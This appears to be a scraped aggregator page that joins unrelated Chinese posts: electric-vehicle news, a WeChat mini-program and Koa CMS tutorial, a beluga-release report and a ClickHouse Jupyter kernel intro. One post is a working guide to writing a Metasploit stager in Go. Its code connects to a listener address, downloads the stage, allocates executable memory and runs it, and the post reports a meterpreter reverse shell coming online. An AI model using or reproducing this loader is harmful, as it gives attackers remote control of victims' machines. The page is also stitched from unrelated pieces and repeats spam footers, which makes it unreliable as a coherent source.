南韓與現代汽車合作 將力推燃料電池車

不只日本將砸錢補助燃料電池車,南韓政府也將推廣此種環保車輛,並預計於 7 月發布長期發展計畫。   現代汽車 (Hyundai Motor) 1 月宣布與南韓光州市合作,要把該市變成南韓燃料電池業的基地。南韓總統朴槿惠近來也盛讚,燃料電池車為未來導向環保科技的最佳範例。如今據傳南韓環保署將出資發展燃料電池車和加氫站系統,要視這 4 個月的研究情況,7 月發表長期發展計畫。   據了解,南韓環保署有意推廣燃料電池車,目標 2020 年時公營部門能使用至少 1,000 輛燃料電池車和 10 個加氫站。現代汽車的燃料電池車 Tucson ix FCEV,最近售價大砍 43%,LG Chem 等汽車零件廠也加速研發燃料電池,要是能找出新物質取代昂貴白金作為催化劑,有望出現快速成長。    

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

鴻海攜手騰訊、和諧汽車 打造互聯網智慧電動車

鴻海於 3 月 23 日宣布,將與騰訊、和諧汽車攜手簽訂「互聯網+智慧電動車」戰略合作協議,預計選擇中國河南省鄭州市積極展開此項領域創新發展。   鴻海將與騰訊及和諧汽車等三方共同合組專業工作團隊,藉由騰訊在互聯網應用發展的深入洞見,以及互聯網創意開放平台,進一步搭配鴻海在高科技行動裝置、智慧電動車的創新整合設計與生產製造技術,打造高效便捷且節能環保、安全可靠的「互聯網+智慧電動車」。同時,後續也將借重和諧汽車在高階汽車車款營銷及服務領域的領先優勢,共同提出可行的「互聯網+ 智慧電動車」共贏商業模式。   而在 2014 年年底期間,鴻海已與和諧汽車達成協議,將由鴻海向和諧汽車提供增資,並且持有其 11.76% 股權,同時針對心能源與電動車製造相關技術投資。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

Day12-微信小程序實戰-交友小程序-搭建服務器與上傳文件到後端並控制雲開發數據庫-項目總結與github代碼發布流程(附上項目全部完整代碼學習使用)

要搞一個小型的cms內容發布系統

因為小程序上線之後,直接對數據庫進行操作的話,慧出問題的,所以一般都會做一個管理系統,讓工作人員通過這個管理系統來對這個數據庫進行增刪改查

微信小程序其實給我們提供了這樣的能力了

 

 

 (也就是可以在自己已有的服務器來進行雲操作,所以就可以通過這個CMS內容管理系統來對雲數據庫進行修改)

我們就要建立自己的web服務器–》搭建一個簡易的服務器

https://koa.bootcss.com/

這個是要node版本是7以上,可以在node官網去搭建,我這邊之前按照過了,直接cmd打開,通過 node -v查看版本

 

然後還要下載一個 cnpm,這個主要是下載第三方模塊用的

 

 https://www.cnblogs.com/biglovevolcaner/p/6707746.html

打開cmd,直接輸入這位大佬博客裏面的語句進行安裝即可了

這些都準備好了之後,就可以開始koa2的服務器搭建了

 

我們選擇koa的腳手架 koa-generator

https://blog.csdn.net/sinat_39049092/article/details/104575018

(跟這個博客到第三步就行)

然後我們就可以到想要搭建系統的文件中(我在d盤新建了一個weapp文件)

在cmd中輸入 D:\weapp 之後輸入 d:即可跳轉

輸入 koa2 miaomiao-cms -e

(後面的-e表示的是選擇ejs模板)

 

然後安裝提示,我們進入到這個建立的東西 cd miaomiao-cms

然後安裝一些初始的模塊

 

 

 輸入 cnpm i

 

 

 

創立完之後,就可以去啟動了,我們通過 npm start  

 

 

 啟動好之後,我們在網頁中 輸入 localhost:3000

 

 

 如果看到了這個界面的話,說明web服務器就已經搭建好了,就可以在這個web服務器下做一個簡易的cms系統了

之後就可以在d盤找到這個文件了

 

 

 其中的public主要是放一些靜態資源的

在vscode裏面打開我們的文件

這個index其實就是類似於可以在前端显示的

 

實現引入 axios.min.js 可以通過npm安裝,也可以使用網上開源的

<script src=“https://unpkg.com/axios/dist/axios.min.js”></script>

通過設置:

<!DOCTYPE html>
<html>
  <head>
    <title><%= title %></title>
    <link rel='stylesheet' href='/stylesheets/style.css' />
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  </head>
  <body>
    <h1><%= title %></h1>
    <p>EJS Welcome to <%= title %></p>
    <label for="">
      上傳圖片 : <input type="file" id="uploadBtn">
    </label>
  </body>
</html>

我們可以看到

 

 

 注意:假如網頁打不開,或者是沒更新出現的html結構的話,就重新的在這個miaomiao.cms下面 npm start重新打開

隨便選一張圖片,onchange就是只要選擇了圖片的話,就會觸發這個事件了,file就是拿到的我們上傳的文件了

拿到這個圖片要怎麼傳輸給後台呢,這個時候就要進行文件操作了FormData這個對象來實現了

通過append 給這個param對象添加一個key為file value為 。也就是通過這個append來產生一個鍵值對

然後把這個對象通過axios來傳輸到後端

 

這就是axios中傳輸給後端文件的代碼 

在傳輸之前,先對 config 配置文件 進行設置,告訴我們後端這個是一個文件數據流

 

 配置好了之後,就可以通過post把圖片傳輸給後台的接口 uploadBannerImg

通過下面的代碼

<!DOCTYPE html>
<html>
  <head>
    <title><%= title %></title>
    <link rel='stylesheet' href='/stylesheets/style.css' />
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  </head>
  <body>
    <h1>與你相遇-CMS管理系統</h1>
    <label for="">
      上傳圖片 : <input type="file" id="uploadBtn">
    </label>

    <script>
      var uploadBtn = document.getElementById('uploadBtn');
      uploadBtn.onchange = function(ev){
        var file = ev.target.files[0];
        var param = new FormData();
        param.append('file' , file);

        var config = {
          headers : {
            'Content-Type' : 'multipart/form-data'
          }
        };

        axios.post('/uploadBannerImg' , param , config).then((res)=>{
          console.log( res.data );
        });
      };
    </script>
  </body>
</html>

然後就是開始搞 定義 uploadBannerImg 這個接口了

在routes-》index.js裏面,添加上這個代碼

router.post('/uploadBannerImg' , async(ctx , next)=>{
  var files = ctx.request.files;
  console.log( files );

})

 

 

 我們添加一個圖片,然後可以看到在後端中

 

 

 會發現404了,我們再通過 npm start來開啟

先要結束上面的操作,通過 ctrl+c 彈出

 

 

 然後輸入y之後,通過npm start,然後再次上傳圖片

 

 

 打印出來了這個,說明file為undefined 也就是沒拿到這個圖片了

這個是因為koa默認是得不到我們上傳文件的東西的,還需要下載一個第三方的模塊來輔助完成這個功能才行

通過在miaomiao-cms目錄下的cmd 輸入  cnpm i -S koa-body

 

下載好了之後,在app.js裏面,引入koa-body

const koaBody = require('koa-body')

然後在app.js裏面做一個簡單的配置

app.use(koaBody({
  multipart : true,//指定是否可以上傳多張
  formidable : {
    maxFileSize : 200*1024*1024   //設置上傳文件大小最大限制,默認2M
  }
}))

(不配置這個,用默認的也是可以的)

搞好之後,再把項目 npm start啟動一下

上傳圖片之後,還是显示 undefined

 

 

 原因就是index.js裏面的files少了一個s

 二、把拿到的文件上傳到雲開發中

c

 

 這裏的use多了一個r

 把這兩個代碼書寫錯誤改好了之後,再上傳就可以看到結果了

 

所以就實現了把圖片傳給後台了,然後我們就要把這個信息傳給雲平台了(以上完成了前台的文件傳輸到了後台)

 https://developers.weixin.qq.com/miniprogram/dev/wxcloud/reference-http-api/storage/uploadFile.html

通過:

POST https://api.weixin.qq.com/tcb/uploadfile?access_token=ACCESS_TOKEN

通過這個代碼其實是進行身份驗證拿到一個通行證Token,才可以使用這樣的功能

 

https://developers.weixin.qq.com/miniprogram/dev/wxcloud/reference-http-api/storage/uploadFile.html

通過:

GET https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET

可見它需要的是APP 的id還有密鑰,這兩個都可以在

https://mp.weixin.qq.com/wxamp/wxaalarm/get_jserr?token=590850009&lang=zh_CN 

開發-》開發設置(就可以拿到id和密鑰了)

兩個都拿到的話,就可以通過get來獲得Token了,然後再用post即可了

 

首先在

 

在外層寫一個配置文件,因為這個id和密鑰都是比較隱私的,為了不讓其他人看到的話,最好就是寫一個配置文件了

 

 

把用戶名和密鑰都寫到這個配置文件中去,然後開始打碼

先在config.js裏面提供一個對外接口

(裏面的數據寫入自己的即可) 

module.exports = {
    appid : '',
    secret : ''
};

然後在index.js裏面引入這個配置文件

const config = require('./config.js');

然後在koa2中,我們用的是request和request-promise,這樣的一些第三方的模塊,如果要安裝的話,可以在github裏面看看

https://github.com/request/request-promise

 

然後我們把後台關掉,開始下載一下這些東西

輸入 cnpm i -S request request-promise 

 就可以安裝這兩個東西了

 

 就可以看到已經下載成功,我們就可以開始使用了

const request = require('request-promise');

還有一個內置的fs用來操作文件的模塊,我們可以直接引入,就不用下載了

const fs = require('fs');

 

然後在路由的index.js文件中的router.post裏面添加:

  try{
    let options = {
      uri: 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=' +
      config.appid + '&secret=' + config.secret + '',
      json : true
    }
    let {access_token} = await request(options)
    console.log( access_token );
  } catch(err){
    console.log(err.stack)
  }

但是出現了報錯

 

 

 少了一個點,要。。/才行

 

 

 

 這樣的話我們就拿到了access_token了(注意 哪個密匙的話最好用最新的,重新更新一下不然可能調用失敗的)

得到這個access_token之後我們就可以用post請求了來得到我們要用到的信息

 

 

 這個env就是指定了雲環境id ,我們這裏通過一個date設置時間戳的文件地址給filepath ,然後我們就把options拿去請求了,請求成功的話就返回賦值給res

這個res包括什麼,可以在微信開發文檔裏面看到的

 

 

 拿到這些數據之後,就要調用下一個接口了,來返回最新的數據

注意有些參數 是 uri 而不是url的

然後把我們res拿到的值映射到,下面這些參數中去

 

 

 

const router = require('koa-router')()
const config = require('../config.js');
const request = require('request-promise');
const fs = require('fs');
router.get('/', async (ctx, next) => {
  await ctx.render('index', {
    title: 'Hello Koa 2!'
  })
})

router.get('/string', async (ctx, next) => {
  ctx.body = 'koa2 string'
})

router.get('/json', async (ctx, next) => {
  ctx.body = {
    title: 'koa2 json'
  }
})

router.post('/uploadBannerImg' , async(ctx , next)=>{
  // console.log( ctx.request )
  var files = ctx.request.files;

  // console.log( files );

  try{
    let options = {
      uri: 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='+config.appid + '&secret=' + config.secret + '',
      json : true
    }
    let {access_token} = await request(options);
    // console.log( access_token );
    let fileName = `${Date.now()}.jpg`;
    let filePath = `banner/${fileName}`;
    options = {
      method : 'POST',
      uri : 'https://api.weixin.qq.com/tcb/uploadfile?access_token=' + access_token + '',
      body : {
        "env" : 'gogocj-6skcv',
        "path" : filePath,
      },
      json : true
    }
    let res = await request(options);
    options =  {
      method : 'POST',
      uri : res.url,
      formData : {
        "Signature" : res.authorization ,
        "key" : filePath,
        "x-cos-security-token" : res.token,
        "x-cos-meta-fileid" : res.cos_file_id,
        "file" : {
          value : fs.createReadStream(file.path),
          options : {
            filename : fileName,
            contentType : file.type
          }
        }
      }
    }
    await request(options);
    ctx.body = res;
  } catch(err){
    console.log(err.stack)
  }

})

module.exports = router

綜上所述其實我們要調用三個接口,先用get來拿到我們的token,然後通過post來拿到我們其他上傳的具體信息,然後通過這些res的具體信息來調用另外一個接口賴完成最終上傳的任務

 

 

 但是我們在雲開發中 查看存儲的時候,並沒有看到我們上傳過來的東西(最後就是在前端也加上一些提示)就不用來看數據庫了

在數據庫的存儲中沒有生成 banner

上面黑圖中,後面其實都是一些報錯的

 

 

 這裏少了一句對file進行定義的語句了,寫上之後,全部的報錯都消失了

 

 

 然後在雲開發的存儲中:

 

 

 就上傳成功了

POST https://api.weixin.qq.com/tcb/databaseadd?access_token=ACCESS_TOKEN

這樣也是通過傳入access_token 來傳入

 

 

 

 

 

 所以以上就實現了在web服務器端把圖片上傳到雲開發的存儲中,但是我們的目的是要在前端在banner中把這個圖片放在輪播圖上的,但是無法直接從存儲中讀取出來,要把存儲文件的這個id寫入到數據庫中(表單中)

我們在雲開發的數據庫中新建一個叫做 banner 的集合

也就是說不僅要上傳到雲開發的存儲中,還要上傳到這個banner集合中

查看開發文檔:

https://developers.weixin.qq.com/miniprogram/dev/wxcloud/reference-http-api/database/databaseAdd.html

const router = require('koa-router')()
const config = require('../config.js');
const request = require('request-promise');
const fs = require('fs');
router.get('/', async (ctx, next) => {
  await ctx.render('index', {
    title: 'Hello Koa 2!'
  })
})

router.get('/string', async (ctx, next) => {
  ctx.body = 'koa2 string'
})

router.get('/json', async (ctx, next) => {
  ctx.body = {
    title: 'koa2 json'
  }
})

router.post('/uploadBannerImg' , async(ctx , next)=>{
  // console.log( ctx.request )
  var files = ctx.request.files;
  var file = files.file;//這個file就是文件的一個二進制的數據了
  // console.log( files );

  try{
    let options = {
      uri: 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='+config.appid + '&secret=' + config.secret + '',
      json : true
    }
    let {access_token} = await request(options);
    // console.log( access_token );
    let fileName = `${Date.now()}.jpg`;
    let filePath = `banner/${fileName}`;
    options = {
      method : 'POST',
      uri : 'https://api.weixin.qq.com/tcb/uploadfile?access_token=' + access_token + '',
      body : {
        "env" : 'gogocj-6skcv',
        "path" : filePath,
      },
      json : true
    }
    let res = await request(options);
    let file_id = res.file_id;
    options = {
      method : 'POST',
      uri : 'https://api.weixin.qq.com/tcb/databaseadd?access_token=' + access_token + '',
      body : {
        "env" : 'gogocj-6skcv',
        "query" : "db.collection(\"banner\").add({data:{fileId:\""+ file_id+"\"}})"
      },
      json : true

    }

    await request(options)

    options =  {
      method : 'POST',
      uri : res.url,
      formData : {
        "Signature" : res.authorization ,
        "key" : filePath,
        "x-cos-security-token" : res.token,
        "x-cos-meta-fileid" : res.cos_file_id,
        "file" : {
          value : fs.createReadStream(file.path),
          options : {
            filename : fileName,
            contentType : file.type
          }
        }
      }
    }
    await request(options);
    ctx.body = res;
  } catch(err){
    console.log(err.stack)
  }

})

module.exports = router

router/index.js

 

我們再次上傳的時候,就發現語句寫入到banner這個集合裏面了

然後我們再上傳第二張圖片試試

 可以看到也是上傳成功的了,這兩條數據都是比較簡單的,保存的就只是一個fileId的

然後就可以回到微信開發者工具去打代碼了,就可以直接讀取banner這個集合裏面的圖片了

在index.js裏面對那個imgurl進行操作

其實可以在getBannerList函數裏面定義我們從集合中限制拿幾張圖片的

(注意記得給這個banner數據庫集合設置 好權限,不然可能就訪問不到了

在index.js裏面的onready中觸發這個函數

  getBannerList(){
    db.collection('banner').get().then((res)=>{
      console.log( res.data );
    });
  }

通過這個,我們打印出東西來看看

 

然後我們就可以把得到的數組映射到data裏面的imgUrl即可了

然後還要在wxml中,把src變成是item.fileId才行

 

 所以通過代碼:

  getBannerList(){
    db.collection('banner').get().then((res)=>{
      // console.log( res.data );
      this.setData({
        imgUrls : res.data
      });
    });
  }
<block wx:for="{{imgUrls}}" wx:key="{{index}}">
          <swiper-item>
            <image  src="{{item.fileId}}"  ></image>
          </swiper-item>
        </block>

得到的效果就是:

 

 

 這兩個圖片就是我們通過cms內容管理系統上傳的圖片了

其實雖然這個系統實現的功能就一個,但是是可以擴展的,比如用來管理用戶,就是用戶的頭像如果是違規的話

或者是發布一些系統的消息或者是公告的東西了(就是好友消息和系統消息都是可以有的,然後做一個好友消息和系統消息切換的分支即可)

 

 以上就完成了這個項目的初始內容了,下面就是通過預覽,或者是通過真機調試(實時監聽用戶的操作)所以在調試完了之後,就是發布了,發布就是點擊上傳按鈕

上傳代碼完成之後,就可以在微信公眾平台,打開版本管理,可以先不用上傳審核,而是變成是一個體驗的版本,就可以得到一個二維碼了

這個體驗的權限就是通過(成員管理-》體驗成員設置,

當體驗的感覺沒問題之後,就可以提交審核了(如果審核不通過,就可能使banner中的圖片和我們餓內容使不符合的,就使要把這個小程序改成和實際差不多的再進行提交審核才行的

審核通過之後就會生成一個線上版本,這樣的話如何的用戶都可以進行訪問了

以上就是小程序發布的流程了的

 

下面就是把代碼上傳到github中進行共享,我們把cms的文件和這個小程序的代碼文件放一起

文件放一起之後,就可以打開gitbub進行上傳了

如何我們通過git插件來上傳的,可以下載一個git插件

https://git-scm.com/downloads

如然後在要上傳的文件裏面,右鍵點擊git bash

 

 

可以在這個頁面中查看我們如何通過git插件來實現代碼的上傳的了

 

https://github.com/gogocj/wxproject-miaomiao

 

 

 

 

 

 

 也就是點開git工具,然後輸入 git init

然後查看狀態 git status

然後就是 git add .  (注意後面是一個空格然後一個點)

然後就是 git commit -m “up 1”

上傳好了之後,就可以通過git status 來看看我們是否已經上傳成功了

之後就可以設置一下遠端了(remote)

輸入:git remote add origin https://github.com/gogocj/wxproject-miaomiao.git

上傳完畢之後,刷新一下就可以看到上傳的東西了

 

 

 

 可以看到我們上傳的東西都在這裏了,但是蝦米那的這個README.md其實是小程序中默認的,我們可以修改一下的

可以直接在github裏面對這個文件在線的編輯

 

 https://github.com/gogocj/wxproject-miaomiao

這就是我上傳到github上面的代碼了

 感謝大家!

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

回歸大自然 俄國鯨魚監獄放生最後一批白鯨

摘錄自2019年11月11日中央社報導

俄羅斯聯邦漁業與海洋研究機構表示,位於俄國遠東地區斯雷德尼亞灣(Srednyaya Bay)、惡名昭彰的「鯨魚監獄」今(10日)放生所關的最後一批白鯨。

法新社和自由歐洲電台(Radio Free Europe)報導,今年稍早媒體踢爆,業者將鯨魚豢養在狹小擁擠、圍欄結冰的海上圍場內,準備送往中國水族館來娛樂大眾,引發國際動保團體撻伐。

有民眾在請願網站Change.org發起請願,好萊塢影星李奧納多(Leonardo DiCaprio)也在社群媒體上呼籲他的粉絲們去簽署,最終連署人數超過150萬人。

莫斯科當局最終屈服於壓力,分批放生93頭白鯨和11頭虎鯨,最後一批虎鯨於8月放生。主張放生鯨魚的俄國非政府組織(NGO)庫頁島觀察(Sakhalin Watch)表示,今(10日)用兩艘船放生了最後21頭白鯨。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

NASA 研發電動車 可飄移還可遠端駕駛

  現時市面上能買的電動車都是主打速度或續航力,但由 NASA Johnson Space Center所研發的電動車 Modular Robotic Vehicle(MRV)則是讓你能享受飄移的快感。   Modular Robotic Vehicle(MRV)的 4 個車輪可獨立轉向,且每個都可以轉 180度之多,所以要原地打轉沒難度,甚至可有飄移的效果。此外,車上除了有傳統的方向盤和油門之外,駕還搭配遠端操作系統,讓使用者即使不在車上,也能遠端進行駕駛。     (圖片來源:擷取自 NASA 影片)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

另闢財源!特斯拉開賣 Model S 二手車

電動車大廠特斯拉(Tesla)開始在官網銷售 Model S 二手車,跨出從新創公司轉變成主流車商的重要一步。特斯拉大約在一周前悄悄推出認證二手車方案,讓消費者可以買到價格比新車便宜的特斯拉電動車,並提供 4 年或 5 萬英里保修方案。   特斯拉發言人說,第一批二手車來源主要是一些車主淘汰舊車、添購去年底上市的四輪傳動 Model S。此外,特斯拉在 2012 年推出租車方案,租期通常為 3 年,這些車將在今年開始歸還給特斯拉。   特斯拉並不運用獨立經銷商通路,所以可以保有賣二手車的全部營收。不過,因特斯拉的二手車供應量有限,目前特斯拉網站只在美國 11 個大都會區提供二手車。特斯拉發言人說,這些二手車將分組存放,未必會存放在零售門市。客戶訂購二手車後,可以赴各地區的存放地點取車,或要求特斯拉把車運送到府。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

LG 化學將為長城汽車供應電動車電池

據 LG 化學 17 日公布的消息指出,近日該公司與中國最大 SUV (運動型多用途汽車) 和皮卡制造商簽署了電動車電池供應合約。根據合約,LG 化學將為長城汽車自 2017 年起量產的插電式混合動力車 (phev) 車型提供電池。   由此,LG 化學將為中國 20 萬輛電動車提供電池,在中國市場搶占先機,並奠定進入中國 SUV 市場的堅實基礎。2014 年中國 SUV 銷量約達 410 萬輛,預計在 2016 年將達 620 萬輛。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

xeus-clickhouse: Jupyter 的 ClickHouse 內核

在科學計算領域,Jupyter 是一個使用非常廣泛的集成開發環境,它支持多種主流的編程語言比如 Python, C++, R 或者 Julia。同時,數據科學最重要的還是數據,而 SQL 是操作數據最直觀的語言。前段時間看到一篇文章[1],有人給 sqlite 做了一個 jupyter 的內核,感覺很有意思。所以我嘗試給 ClickHouse 做了一個 jupyter 的內核,目前已經有了一個可以試用的版本,下面做一個簡單介紹。

clickhouse

現狀

新內核允許用戶用 ClickHouse SQL 的語法直接操作遠程 CH 數據庫,通過一些擴展操作比如 %CONNECT 支持與 ch cli 一樣的連接參數,後續也有計劃使用 jupyter magics 支持更多的數據可視化操作。

